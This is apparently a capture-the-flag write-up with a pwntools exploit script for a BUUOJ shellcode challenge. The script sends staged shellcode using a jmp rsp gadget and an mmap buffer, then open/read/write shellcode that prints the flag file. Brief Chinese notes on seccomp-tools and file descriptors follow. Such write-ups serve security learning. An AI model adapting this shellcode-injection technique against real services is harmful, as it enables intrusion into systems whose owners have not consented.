WP:
from pwn import*
p=remote('node4.buuoj.cn',26870)
context.binary=ELF('./bad')
mmap_=0x123000
jmp_=0x400a01
paylado1=(asm(shellcraft.read(0,mmap_,0x100))+asm("mov rax,0x123000;call rax")).ljust(0x28,b'\x00')+p64(jmp_)+asm("sub rsp,0x30;jmp rsp")
p.sendafter("Easy shellcode, have fun!",paylado1)
shellcode=asm(shellcraft.open('./flag'))
shellcode+=asm(shellcraft.read(3,mmap_+0x50,0x50))
shellcode+=asm(shellcraft.write(1,mmap_+0x50,0x50))
p.send(shellcode)
p.interactive()
先盘点一下收获:
- orw更了解了一丝:可以利用工具seccomp-tools查看哪些系统调用能用
- shellcraft.read(open、write)等的使用非常方便
- 创建新文件时会使文件描述符(句柄)为3
本题奇怪的是:
context.binary=ELF('./bad')
如果不加这句程序报错。